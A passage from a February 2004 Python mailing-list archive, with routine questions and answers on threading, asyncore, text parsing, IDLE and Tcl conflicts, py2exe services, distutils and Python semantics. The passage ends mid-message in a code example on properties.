Message-ID: <20040227042403.23113.77792.Mailman@zaphod.alt.org>

Your mail to 'sl' with the subject

    Re: Approved

Is being held until the list moderator can review it for approval.

The reason it is being held:

    Post by non-member to a members-only list

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.



From jcarlson at nospam.uci.edu  Sat Feb 21 12:42:49 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 09:42:49 -0800
Subject: HowTo send emails reliably in a Python multi-threading
	application?
In-Reply-To: <mailman.136.1077366102.27104.python-list@python.org>
References: <mailman.136.1077366102.27104.python-list@python.org>
Message-ID: <c185fk$j7o$1@news.service.uci.edu>

> 1) How can one send mails reliable in a multi-threaded Python application?  
> Should the email package be used? Should smtplib be used or is it better to 
> call "sendmail" or "mail" directly? Should popen2 or os.system() be 
> preferred?

I don't think this matters one way or another.  It may be convenient to 
use smtplib, if only because it wouldn't rely on sendmail or mail.  The 
problem with smtplib is that if you get rid of threads (which I suggest 
later), smtplib could stall your program.


> 2) How to call an external tool (or many of them) and connect them via pipes 
> with each other and with the Python script in a multithreaded application? I 
> read the discussion http://www.python.org/doc/current/lib/
> popen2-flow-control.html several times now and think I followed the 
> suggestions given there, but it seems still to cause trouble for me.

Connect them the same way you would in a shell (as you seem to be doing 
already), with commands like:
command1 | command2 | command3

For getting the output from command3, I've always been a big fan of:
procs['unique_done'] = os.popen('command1 | command2 | command3 |'
                                 ' special unique_output unique_done')

Where special is a command that passes-though all information received 
from command3, writes it to unique_output, and when done, creates a file 
called unique_done, but doesn't write anything to stdout.

However often you want to, you can check for the existance of 
unique_done (as many of them as you want) and execute the following:

toss = procs['unique_done'].read()
procs['unique_done'].close()
del procs['unique_done']
fil = open('unique_output', 'rb')
output = fil.read()
fil.close()
os.remove('unique_output')
os.remove('unique_done')


Personally, I would toss the multi-threaded portion and stick with 
asynchronous IO.  You don't mention how you are handling new information 
coming into the system, whether this is by sockets or polling for files, 
but basically everything can be wrapped up in an async loop:

while not quit:
     asyncore.poll(0)        #handles socket IO
     poll_and_handle_done()  #would check for all done
                             #outputs, and process them as above

By not using threads, you should find your software moves a few percent 
faster when loaded heavily.


> - - very, very seldom (1 out of 5000 received faxes), one user of me saw the 
> following - at least with Python 2.2.2; I have no feedback about newer 
> versions yet:
> File "/usr/lib/python2.2/site-packages/cs_helpers.py", line 233, in 
> sendMIMEMail
>   sendmail.tochild.write(msg.as_string())
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Message.py", line 
> 107, in as_string
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
> 100, in flatten
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
> 135, in _write
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
> 167, in _write_headers
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
> 191, in _split_header
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/email/Generator.py", line 
> 41, in _is8bitstring
> File "/var/tmp/python-2.2.2-build//usr/lib/python2.2/encodings/__init__.py", 
> line 43, in search_function
> AttributeError: 'NoneType' object has no attribute 'get'

I don't know about this one, but it looks like somewhere your software 
is passing a None when it should be passing a dictionary.

Good luck to you,
  - Josiah


From no.mail at no.mail.it  Sat Feb  7 15:08:50 2004
From: no.mail at no.mail.it (robsom)
Date: Sat, 7 Feb 2004 20:08:50 +0000 (UTC)
Subject: splitting tables
Message-ID: <pan.2004.02.07.20.09.11.437775@no.mail.it>


Hi, I have a problem with a small python program I'm trying to write
and I hope somebody may help me. I'm working on tables of this kind:

CGA 1988 06 21 13 48 G500-050 D   509.62 J.. R1 1993 01 28 00 00 880006
CGA 1988 06 21 14 04 G500-051 D   550.62 J.. R1 1993 01 28 00 00 880007

I have to read each line of the table and put it into comma-separated
lists like these for later manipulation:

CGA,1988,06,21,13,48,G500-050,D,509.62,J..,R1,1993,01,28,00,00,880006
CGA,1988,06,21,14,04,G500-051,D,550.62,J..,R1,1993,01,28,00,00,880007

The 'split' function works pretty well, except when there is an error in
the original data table. For example if an element is missin in a line,
like this:

CGA 1990 08 15 13 16 G500-105 D   524.45 J.. R1 1993 01 29 00 00 900069
CGA 1990 08 16 01 22          D   508.06 J.. R1 1993 01 27 00 00 900065

This error happens quite often in my dataset and the tables are too
large to check for it manually. In this case what I get splitting the
line string is of course this:

CGA,1990,08,15,13,16,G500-105,D,524.45,J..,R1,1993,01,29,00,00,900069
CGA,1990,08,16,01,22,D,508.06,J..,R1,1993,01,27,00,00,900065

And when the program tries to work on the second list it stops (of course!).
Is there any way to avoid this problem? This kind of error happens quite
often in my dataset and the tables are usually too large to check for it
manually. Thanks a lot for any suggestions.

R




From dmq at gain.com  Thu Feb 19 08:27:12 2004
From: dmq at gain.com (David MacQuigg)
Date: Thu, 19 Feb 2004 06:27:12 -0700
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
Message-ID: <ekd930dhm5p9280hg41gbdu3heosq6f8tm@4ax.com>

On Wed, 18 Feb 2004 22:39:50 -0700, David MacQuigg <shuvit at 127.0.0.1>
wrote:

>On 14 Dec 2003 10:50:29 -0800, kmneilso at yahoo.com (Kerry Neilson)
>wrote:
>
>>For the past couple of months, Idle won't start when I invoke it.  I
>>am at a complete loss for why this is.  When this happens, they python
>>command line still starts, and python works fine otherwise.
>>Most interesting to me is that a reboot won't fix the problem.  But if
>>I just try it again sometime later it will work.  Anyone have any
>>ideas?  I'm running python 2.3 on windows 2000 professional.
>
>This might be a different problem if your problem is truly
>intermittent, but I am finding that IDLE has conflicts with other
>installed programs.  I have been running Python 2.3 under Windows
>XP-Home with no problem for the last few months.  Yesterday I
>installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
>clicking the icon, selecting the menu item,  Nada.  Removing Ruby
>restores IDLE.
>
>With Ruby installed, when I run IDLE from a command line
>C:\Python23\Lib\idlelib>idle.py
>I get a message:
>"""
>_tkinter.TclError: Cant find a usable init.tcl in the following
>directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
>c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
>C:/library
>This probably means that Tcl wasn't installed properly.
>"""
>I have no idea why IDLE is looking for library routines in the Ruby
>subdirectories, or why all the strange variations in the search path
>above, but it is clear that Ruby and IDLE cannot co-exist on one
>computer.
>
>Note:  Re-installing Python23 after Ruby is installed doesn't help.
>You have to remove Ruby completely.
>
>-- Dave

More problems:
IDLE will start only if I never log off !!
If I log off and back on, IDLE fails to start, and I get the same
message as above.
Right after a re-install of Python 2.3.3, I can run IDLE, repeatedly,
with no problems, from my Admin account.  
I'll try a complete uninstall of Python-2.3.3  ...
OK, I uninstalled everything except two DLL's in C:\WINDOWS\system32
The re-install looks normal.  IDLE runs OK, but when I log on again,
it fails !!!  Same message as above.

This is getting scary.  I want my computer back !!.  I'll try a
complete system restore.

That works.  Python is happy.  Sigh !!!

-- Dave



From claird at lairds.com  Sun Feb  1 20:32:44 2004
From: claird at lairds.com (Cameron Laird)
Date: Mon, 02 Feb 2004 01:32:44 -0000
Subject: Threading question
References: <bvjuck$pqo$1@nsnmrro2-gest.nuria.telefonica-data.net>
	<mailman.1112.1075678446.12720.python-list@python.org>
Message-ID: <101ra5sqk43k774@corp.supernews.com>

In article <mailman.1112.1075678446.12720.python-list at python.org>,
Jeff Epler  <jepler at unpythonic.net> wrote:
>On Sun, Feb 01, 2004 at 11:25:26PM +0100, Jos??? Carlos wrote:
>> sorry.
>> 
>> I want assign a name to each thread.
>> 
>> I want when the server accept to client, the server add to  list the client
>> with a name, for example client1.
>> 
>> the name of thread will be the name assigned to each client.
>
>Use a dictionary.  Almost any object can be a dictionary key, and any
>object can be a dictionary value.
>
>Example:
>	class MyThread(threading.Thread): pass
>	clients = {}
>	client['client1'] = MyThread(...)
>
>Jeff
>

All true.

HOWEVER, please be aware that you do NOT have to assign
a separate thread to each client in order to construct a
server which can handle multiple concurrent clients.
Several different concurrency models are possible for
network service; among them, thread-per-client has 
particular performance and development constraints.  If
you're willing to program at a higher level of abstrac-
tion, asyncore and Twisted provide two excellent
alternatives for sound design of a server.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From eddie at holyrood.ed.ac.uk  Wed Feb 25 15:23:03 2004
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Wed, 25 Feb 2004 20:23:03 +0000 (UTC)
Subject: Fast File Input
References: <c1iit0$2jj$1@news01.intel.com>
	<mailman.121.1077729766.8594.python-list@python.org>
Message-ID: <c1j077$jq$1@scotsman.ed.ac.uk>

>"Scott Brady Drummonds" <scott.b.drummonds.nospam at intel.com> wrote in
>message news:c1iit0$2jj$1 at news01.intel.com...
>> Hi, everyone,
>>
>> I'm a relative novice to Python and am trying to reduce the processing
>time
>> for a very large text file that I am reading into my Python script.  I'm
>> currently reading each line one at a time (readline()), stripping the
>> leading and trailing whitespace (strip()) and splitting it's delimited
>data
>> (split()).  For my large input files, this text processing is taking many
>> hours.

If you mean delimited in the CSV sense then I believe that the CSV modules are
optimised for this.  Included in 2.3 IIRC.

Eddie



From jcarlson at nospam.uci.edu  Wed Feb 11 15:52:04 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 12:52:04 -0800
Subject: tkinter, threads and asyncore together
In-Reply-To: <c0e4g5$mug$1@news.service.uci.edu>
References: <402A7E7D.C423D056@noaa.gov> <c0e4g5$mug$1@news.service.uci.edu>
Message-ID: <c0e4q4$nhf$1@news.service.uci.edu>

> #to control asyncore
> while 1:
>     asyncore.loop(.1)
>     if not fromgui.empty():
>         #handle messages from GUI
> 
> Another option is to just have one thread, with the mainloop of Tkinter 
> do a single asyncore.loop(0) call every .01 seconds or so.  In wxPython 
> I'd just use a wxTimer, I don't know if Tkinter has an equivalent.

I meant asyncore.poll(.1) and asyncore.poll(0) respectively.

  - Josiah


From rune.hansen at sinsenveien83.com  Tue Feb  3 14:43:18 2004
From: rune.hansen at sinsenveien83.com (Rune Hansen)
Date: Tue, 03 Feb 2004 20:43:18 +0100
Subject: Threading server exits ERESTARTNOHAND
Message-ID: <tRSTb.1462$rj4.21454@news2.e.nsc.no>

select(0, NULL, NULL, NULL, {0, 8000})  = 0 (Timeout)
futex(0x822f530, FUTEX_WAKE, 1)         = 0
gettimeofday({1075823054, 603000}, NULL) = 0
futex(0x822f530, FUTEX_WAKE, 1)         = 0
select(0, NULL, NULL, NULL, {0, 16000}) = 0 (Timeout)
futex(0x822f530, FUTEX_WAKE, 1)         = 0
gettimeofday({1075823054, 623210}, NULL) = 0
futex(0x822f530, FUTEX_WAKE, 1)         = 0
select(0, NULL, NULL, NULL, {0, 30370}) = ? ERESTARTNOHAND (To be restarted)
+++ killed by SIGSEGV +++

This is the output from strace -o xx python2.3 Spider.py, Spider.py 
being a threaded web crawler. The server segfaults at no specific 
interval, running for 30 secs and up to 10-15 minutes.

I can't figure out what's going on. In my years of threaded programming 
this is the first time I've seen it (if it makes me a novice, please 
don't rub it in :) I've found some information about "ERESTARTNOHAND" 
(one hint was /etc/security/limits.conf) and gotten the feeling that it 
has more to do with RedHat 9.0 than python2.3.3, but I'd really like to 
hear from someone who perhaps has got some experience with this.

Server and setup:
Compiled Python2.3.3 on RedHat 9.0 with default Athlon kernel.

The server starts a XMLRPCServer and Controller. The Controller starts 
15 threads doing urllib2.urlopen with data, using queue.get_nowait(), 
received on the XMLRPCServer . Each thread has it's own MySQLdb 
connection doing INSER DELAYED.
mxTidy is used before data is fed to an HTMLParser instance.

regards

/rune



From jjl at pobox.com  Fri Feb 13 08:12:31 2004
From: jjl at pobox.com (John J. Lee)
Date: 13 Feb 2004 13:12:31 +0000
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
	<m365ehplku.fsf@hamster.pflaesterer.de>
	<pan.2004.02.10.01.05.20.183909@no.mail.it>
	<m31xp2kh2c.fsf@hamster.pflaesterer.de>
	<pan.2004.02.11.00.00.36.241758@no.mail.it>
	<mailman.1451.1076462927.12720.python-list@python.org>
Message-ID: <87isibrum8.fsf@pobox.com>

Skip Montanaro <skip at pobox.com> writes:

>     robsom> ... I (still) don't like the "for in range()" way to build
>     robsom> loops.
> 
> That's needed only when you need a numeric index.  Much of the time you can
> just iterate over a container object:
> 
>     for element in mylist:
>         print element
> 
> or
> 
>     for key in mydict:
>         print (key, mydict[key])

also (Python 2.3):

for index, element in enumerate(mylist):
    # blah, blah


John


From duncan-news at grisby.org  Wed Feb 11 05:32:35 2004
From: duncan-news at grisby.org (Duncan Grisby)
Date: Wed, 11 Feb 2004 10:32:35 +0000
Subject: communicating with Java (from Python)
References: <c0a1tu$vue$1@hyppo.gu.net>
Message-ID: <2b312$402a04c3$51604868$11331@nf2.news-service.com>

In article <c0a1tu$vue$1 at hyppo.gu.net>,
 Max Ischenko  <max at ucmg.com.ua.remove.it> wrote:

>I want to communicate my Python application with the Java one.
>The most obvious choice is XML-RPC, but ... I wonder about something 
>more pythonic and powerful, like pyro.

Depending on how complex your problem is, CORBA may be a sensible
choice. If your communication needs map easily to XML-RPC, I'd go with
that. On the other hand, if you find yourself having to explicitly
manage lots of state, to make up for the lack of objects in an RPC
system, CORBA is a good choice. It is a full object oriented system
like pyro, just standardised and cross platform.

Cheers,

Duncan.

-- 
 -- Duncan Grisby         --
  -- duncan at grisby.org     --
   -- http://www.grisby.org --


From me at privacy.net  Mon Feb  2 11:07:01 2004
From: me at privacy.net (Duncan Booth)
Date: 2 Feb 2004 16:07:01 GMT
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <Xns9483A3D64CF6Eduncanrcpcouk@127.0.0.1>

klaus_neuner82 at yahoo.de (Klaus Neuner) wrote in 
news:3e96ebd7.0402020750.3b0b9b82 at posting.google.com:

> Hello,
> 
> I would like to understand the reason for the following difference
> between dealing with lists and dealing with strings: What is this
> difference good for? How it is accounted for in Python slang?
> 
> Klaus
> 
>>>> string1 = "bla"
>>>> string2 = string1
>>>> string1 = string1 + "bla"
>>>> string1
> 'blabla'
>>>> string2
> 'bla'
>>>> 
> 
>>>> list1 = [1,2]
>>>> list2 = list1
>>>> list1.append(1)
>>>> list1
> [1, 2, 1]
>>>> list2
> [1, 2, 1]
>>>>
> 

You aren't comparing like with like here. You can do exactly the same as 
your string example using a list:

>>> list1 = [1,2]
>>> list2 = list1
>>> list1 = list1 + [3,4]
>>> list1
[1, 2, 3, 4]
>>> list2
[1, 2]
>>> 

The difference is that addition of strings, or lists, or anything else, 
creates a new object. The append method of the list type modifies an 
existing object. The string types don't have an append method because they 
are IMMUTABLE: immutable objects, once created never change their values.
Mutable objects can change their values.

Remember that assignment always creates another reference to an existing 
object, it never makes a copy of an object.

Builtin immutable objects include: int, long, float, str, unicode, tuple
Builtin mutable objects include: list, dict


From eurleif at ecritters.biz  Thu Feb  5 01:11:56 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Thu, 05 Feb 2004 06:11:56 GMT
Subject: Qt/PyQt license confusion
In-Reply-To: <bvrn55$29m$1@news.service.uci.edu>
References: <30260531.0402040954.68209983@posting.google.com>
	<bvrn55$29m$1@news.service.uci.edu>
Message-ID: <M8lUb.926$VP1.707923@newshog.newsread.com>

Josiah Carlson wrote:
> If you /use/ a piece of GPL'd software to create 'something else', and 
> the 'something else' gets distributed, you have used the GPL'd software 
> as a tool - and are /not required/ to license your 'something else' with 
> the GPL.

No, I'm pretty sure you would have to GPL your software then too. Isn't 
that the difference between the GPL and LGPL?


From phil.hornby at accutest.co.uk  Mon Feb  2 14:17:02 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 19:17:02 -0000
Subject: Distutils windows binaries...
Message-ID: <NFBBIBBEGKCGCEGNDLKGIEKIDNAA.phil.hornby@accutest.co.uk>

I have tried posting this to the distutils SIG list but had no response so I
am hoping the general list can help...

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Okay, I love what I can do with distutils in windows - i.e. create a binary
distribution of a module/package/etc

But I have a few questions:

If I write a script to generate all the details of the distribution - files
list, etc - how do I force the script to make it into a binary distro? Do I
modify the arguement list passed to the script to 'fake' that it was called
with this? Cos I may well just want to run a script and have that as default
behaviour.

I have seen that there is the facility to build extension modules into the
distro by actually building them from source - is it recommended to do it
this way - what about including pre-built extensions? I have tried adding
them to the 'data_files' option and it seems to work - although by default
they don't end up where I would expect. Has anyone else played with that?

I know you can change the bitmap displayed during the install but can you
change the icon that is displayed for the *.exe that is generated?

Well I think that is enough questions for now...

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)




From FBatista at uniFON.com.ar  Wed Feb  4 13:05:04 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 4 Feb 2004 15:05:04 -0300 
Subject: an ingrate newbie complains
Message-ID: <A128D751272CD411BC9200508BC2194D033835A0@escpl.tcp.com.ar>

Elaine Jackson wrote:

#- 1) I find the following behavior puzzling and disappointing:
#- 
#- >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
#- >>> Y=dict(X)
#- >>> Z=list(Y)
#- >>> Z==X
#- False
#- >>> Z==Y.keys()
#- True

>>> Y
{1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
>>> Z
[1, 2, 3, 4, 5]

I should expect that Z is not equal to Y.

>>> Y.keys()
[1, 2, 3, 4, 5]

And Y.keys() is equal to Z.


 
#- 2) How come you can't write...
#- 
#- if y = f(x) > 3:
#-     <do a bunch of things with x and y>

See the FAQ:

http://www.python.org/doc/faq/general.html#why-can-t-i-use-an-assignment-in-
an-expression

.	Facundo



From rynt at 9yahoo.com  Thu Feb  5 11:07:17 2004
From: rynt at 9yahoo.com (R Baumann)
Date: Thu, 5 Feb 2004 08:07:17 -0800
Subject: Modules, namespaces, parents, and import
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
	<102247ofva9do52@corp.supernews.com>
	<bvrinb$gpc$1@panix1.panix.com>
	<1022p0elv2vsd98@corp.supernews.com>
	<bvthbd$n6a$1@panix2.panix.com>
Message-ID: <1024qhk5i05nu8c@corp.supernews.com>


"Aahz" <aahz at pythoncraft.com> wrote in message
news:bvthbd$n6a$1 at panix2.panix.com...
> In article <1022p0elv2vsd98 at corp.supernews.com>,
> R Baumann <rynt at 9yahoo.com> wrote:
> >"Aahz" <aahz at pythoncraft.com> wrote in message
> >news:bvrinb$gpc$1 at panix1.panix.com...
> >> In article <102247ofva9do52 at corp.supernews.com>,
> >> R Baumann <rynt at 9yahoo.com> wrote:
> >>>
> >>>Is there any way to unload a module after you're finished with it and
> >>>will absolutely no longer need it?
> >>
> >> In theory, yes; in practice, no.  Why do you want to do this?
> >
> >Just a for instance -- Let's suppose that I had a fairly large
> >"configuration loader" module that is used once in an application, and
> >is never called upon again.  Why not "unload" or "release" that module
> >from the interpreter's workspace, freeing up that chunk of memory?  If
> >there's no need to use the module again, there's no need to keep it in
> >memory, right?
>
> What is "fairly large"?  If you mean that the data it loads is large,
> but no longer needed after initalization, it should be simple enough to
> discard the data -- provided you really don't need it.  If you mean that
> the code is large, I've got a difficult time imagining a module large
> enough to make a different to a Python application on a typical modern
> machine.

Yes, I meant the code.  However, if you don't think this is a problem, I
won't worry about it.
Do you have any idea what the limits are to Python in regards to large
applications in the 20-30MB range.  I would probably suppose the answer is
"there is no problem". :-)

Thanks for the input.

Ruben




From ketulp_baroda at yahoo.com  Wed Feb  4 02:30:39 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 3 Feb 2004 23:30:39 -0800
Subject: mysqldb
Message-ID: <f046efac.0402032330.6c90ca4b@posting.google.com>

Hi
I am using MySQLdb. I want to know how can I check whether a
connection is open or not.If it is open I want to use the existing
connection else create a new connection by
db=MySQLdb.connection(.........)


From peter at engcorp.com  Fri Feb 20 17:36:35 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 20 Feb 2004 17:36:35 -0500
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net>
Message-ID: <40368BF3.2FE82B1A@engcorp.com>

Scott David Daniels wrote:
> 
> Robert Brewer wrote:
> 
> > Gerrit wrote:
> > ... 17 to go.
> Actually I've seen two 17's, so I'll skip 16.
> 
> Machine, Assembly(>8), Fortran(I,II,IV,V), Snobol, Lisp,
> Algol, Simscript, SAIL, Interlisp, Smalltalk, C, YACC/LEX/FLEX,
> SLOE (microcode), Pascal, Class-C, Oz, C++, LML, Scheme, SQL,
> Python.

All right, machine language!  Was that with actual toggle input, or 
were you hand-translating from assembly and entering hex on a keypad?
I remember being able to write small print routines on the Commodores
in straight machine language... hmm..  A9 80 20 FF D2 40 anyone? :-)

(I don't recall what $80 did when it printed, and I think RTS was maybe
60 instead of 40.  20 was a JSR as I recall, with FFD2 being the 
print char routine.  Or something like that... probably all wrong and
what I wrote above would erase the hard drive or something!)

> 15 to go.

I think I saw two 18s as well, so you're probably around 14 or 13. :-)

-Peter


From theller at python.net  Wed Feb 11 13:05:58 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 11 Feb 2004 19:05:58 +0100
Subject: py2exe failed for running compiled service
References: <mailman.1472.1076516592.12720.python-list@python.org>
Message-ID: <65edh4op.fsf@python.net>

Peter Teniz <peter.teniz at inverisa.net> writes:

> hi, i'm trying to generate a service for win XP / win 2k with
> python2.3.3 + win32all-163 + py2exe0.5.0
> (also tried with pywin32-200.win32-py2.3)
>
> running the console-script "FBxmlserv.py" with python-interpreter and as
> EXE-prog goes well.
> running the service-module "FBservice.py" with python-interpreter also
> works fine
> but after comiling with py2exe (with no warnings or errors!)  i get on
> every host the same error message
> when trying to execute the FBservice.exe
>
>  > FBservice.exe
> Connecting to the Service Control Manager
> Traceback (most recent call last):
>     File "boot_service.py" line 158, in ?
> pywintypes.error: (1063, 'StartServiceCtrlDispatcher', 'Der
> Dienstprozess konnte keine Verbindung zum Dienstcontroller herstellen.')
>
> has anyone an idee, what to do?

This is not a bug.

Services are supposed to be started by the system - the windows service
control manager.  They have to be registered before, and the exe accepts
some command line switches that help with this.

You can run the service exe with the '-help' command line switch to list
them:

C:\Python23\Lib\site-packages\py2exe\samples\advanced\dist>MyService.exe -help
Usage: MyService.exe <options>. Valid options are:
        -help
        -install
        -remove
        -auto
        -disabled
        -interactive
        -user: <arg>
        -password: <arg>

C:\Python23\Lib\site-packages\py2exe\samples\advanced\dist>

So, first you install your service exe with this command line:

'MyService.exe -install'

The other switches -auto, -disabled, -interactive, -user and -password
allow to specify additional service options.

After that, the service can be started with 'net start myservice' or
with the services applet in the control panel.

Thomas

PS: If this seems not appropriate, it can be changed by hacking the
py2exe/boot_service.py script.


From google at jgc.org  Sat Feb  7 11:17:58 2004
From: google at jgc.org (John Graham-Cumming)
Date: 7 Feb 2004 08:17:58 -0800
Subject: spam classification breaker
References: <mailman.1274.1076023169.12720.python-list@python.org>
Message-ID: <abfeacb5.0402070817.4114e111@posting.google.com>

"Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> wrote in message news:<mailman.1274.1076023169.12720.python-list at python.org>...
> Of course, once I've started training emails with such web bugs (which 
> contain specific URLs, etc) as spam, pretty soon none of those emails 
> are going to be successfully classified as ham.

Right, to make it work you'd have to make the web bugs unique over the
message (perhaps use a zombie army of hacked machines so that each web
bug goes to a different IP that redirects to you).
 
> John didn't state in his article (IIRC - I read it a few days ago when 
> it appeared on Slashdot ;) but I don't think he was training his corpus 
> on those emails - just letting them be classified.

No, and that's an interesting question that I'd like to explore. 
Suppose I train on each mail as it gets through do I still find the
ham.

John.


From gerd.suppan at web.de  Wed Feb 11 15:08:42 2004
From: gerd.suppan at web.de (Gerd Suppan)
Date: Wed, 11 Feb 2004 20:08:42 GMT
Subject: Problem removing win32all (163)
In-Reply-To: <mailman.1380.1076358638.12720.python-list@python.org>
References: <mailman.1380.1076358638.12720.python-list@python.org>
Message-ID: <eZvWb.179808$AU2.30901@news.chello.at>

Delaney, Timothy C (Timothy) wrote:

>>From: St?phane Ninin
>>Problem is, when I want to unistall it,
>>a window appears "Could not open INSTALL.LOG file"...
>>and unistallation stops.
>>
>>Is there a clean way to remove the package ? 
>>Which directories, registry settings, must be cleaned ?
> 
> Since it's a WISE installer, it's probably quite possible to (assuming default Python 2.3 install):
> cd C:\Python23\Lib\site-packages
> UnWisePW32.exe W32INST.LOG
> This should do it.
> Tim Delaney

Same problem here removing v1.63 before installing v2.0.
And UnWisePW32.exe fails, because no W32INST.LOG could be found:-(

Fortunately i found the missing W32INST.LOG in a temporary directory 
named as "GLG140.TMP" utilizing the systems search function (scanning 
all files of my windows system volume for the text fragment "Python 
Win32 extensions Installation":-)

Moved the renamed file to it?s correct place and voila!
Just check it out...


HTH
Gerd


From antonmuhin at rambler.ru  Tue Feb 10 05:52:04 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Tue, 10 Feb 2004 13:52:04 +0300
Subject: synchronized method
In-Reply-To: <c0a1mt$v79$1@hyppo.gu.net>
References: <c0a1mt$v79$1@hyppo.gu.net>
Message-ID: <c0adb8$148jlk$1@ID-217427.news.uni-berlin.de>

Max Ischenko wrote:

> 
> Hi,
> 
> I wrote simple implementation of the "synchronized" methods (a-la Java), 
> could you please check if it is OK:
> 
> def synchronized(method):
> 
>     """
>     Guards method execution, similar to Java's synchronized keyword.
> 
>     The class which uses this method, is required to have a
>     L{threading.Lock} primitive as an attribute named 'lock'.
>     """
> 
>     def wrapper(self, *args):
>         self.lock.acquire()
>         try:
>             return method(self, *args)
>         finally:
>             self.lock.release()
>     return wrapper
> 
> ...I'm no big thread expert
> 
> tia.
> 
> ... The problem is not that there are problems. The problem is expecting 
> otherwise and thinking that having problems is a problem.
>      -- Theodore Rubin

I'd add **kwargs too.

anton.


From tim at axtelle.com  Thu Feb 19 22:20:55 2004
From: tim at axtelle.com (Elder)
Date: Fri, 20 Feb 2004 03:20:55 GMT
Subject: py2exe problem - need wsvc6?
References: <fc96c968.0402191803.62f9465a@posting.google.com>
	<40357A5B.5090701@metrony.com>
Message-ID: <r2fZb.52404$1S1.39926@nwrddc01.gnilink.net>

It just opens a window which immediately closes.

Thanks for your help.


"Aaron" <aaron at metrony.com> wrote in message
news:40357A5B.5090701 at metrony.com...
> You do not need a C compiler to make a standalone application.
> In version 0.5 the setup.py files changed a bit.
>
> First of all can you run your python script on the commandline?
>
> I have a hello world app as follows:
>
> #pTest.py
> print "Hello World"
>
> #setup.py
> from distutils.core import setup
> import py2exe
> setup(name='Test',
>        description="a Test",
>        version='0.1.0',
>        console=['pTest.py'])
>
>
> #build.bat
> e:\Python23\python.exe setup.py py2exe
>
> Try to build this app and see if your py2exe is setup correctly.
>
> -Aaron
> http://metrony.com
>
> Tim Axtelle wrote:
>
> > I am new to Python and am trying to create a standalone exe from a
> > python script using py2exe 0.5.0 and Python 2.3 without success.  I am
> > able to generate the appropriate .exe file but it is not executable.
> > Running it does absolutely nothing.
> >
> > The sourceforge site says that wsvc6 is required for py2exe.  Is this
> > true?  If so, it is contradiction with the python faq which claims
> > that no C compiler is necessary with py2exe.
> >
> > I also tried Gordon Mcmillan's installer which I found completely
> > incomprehensible despite the prodigous "easy to use" claims.
> >
> > Please help this obviously flustered newbie.  Thanks in advance.




From stuffduff at cox.net  Wed Feb  4 17:27:16 2004
From: stuffduff at cox.net (Sean)
Date: 4 Feb 2004 14:27:16 -0800
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<4020270a$0$316$e4fe514c@news.xs4all.nl>
	<bvphmh$gj8$1@mawar.singnet.com.sg>
	<bvpl5u$i35$1@mawar.singnet.com.sg>
Message-ID: <3222fe00.0402041427.23b05c87@posting.google.com>

> Cheers.

Additional information:

Got the /usr/local/zope/z2s.py cli version to start/stop 
correctly.

The bug in M2Crypto.BIO.File is only occurring when trying
to start an instance.  So the question is now: what else 
about an instance can I examine?

TIA


From __peter__ at web.de  Wed Feb  4 10:41:38 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Feb 2004 16:41:38 +0100
Subject: Best way to control assignment to attribute?
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
Message-ID: <bvr3ri$l3d$06$1@news.t-online.com>

Frank Millman wrote:

> Hi all
> 
> I want to control the assignment of a value to an attribute. Instead
> of allowing it to be changed directly, I want to enforce that a method
> is called, which will perform the assignment subject to various
> checks.
> 
> From reading the manuals, this is one way to do it.
> 
> class frank:
>     def __init__(self,x):
>         self.setval_x(x)
> 
>     def __setattr__(self,name,value):
>         if name == 'x':
>             raise 'cannot change value of x - use setval_x(value)'

I think you shouldn't use string exceptions in new code anymore.

>         else:
>             self.__dict__[name] = value
> 
>     def setval_x(self,value):
>         ok = 1
>         # perform any checks required
>         if ok:
>             self.__dict__['x'] = value
> 
> Is this the best way, or does anyone have any other suggestions?
> 
> I notice that an application can beat this by using the __dict__
> syntax itself. Is there any way to prevent this? Just curious, it is
> not a major concern.
> 
> Any comments will be appreciated.
> 
> Thanks
> 
> Frank Millman

Use new style classes and properties:

>>> class Frank(object):
...     def __init__(self, x):
...             self.x = x
...     def getX(self):
...             return self._x
...     def setX(self, x):
...             if x < 0:
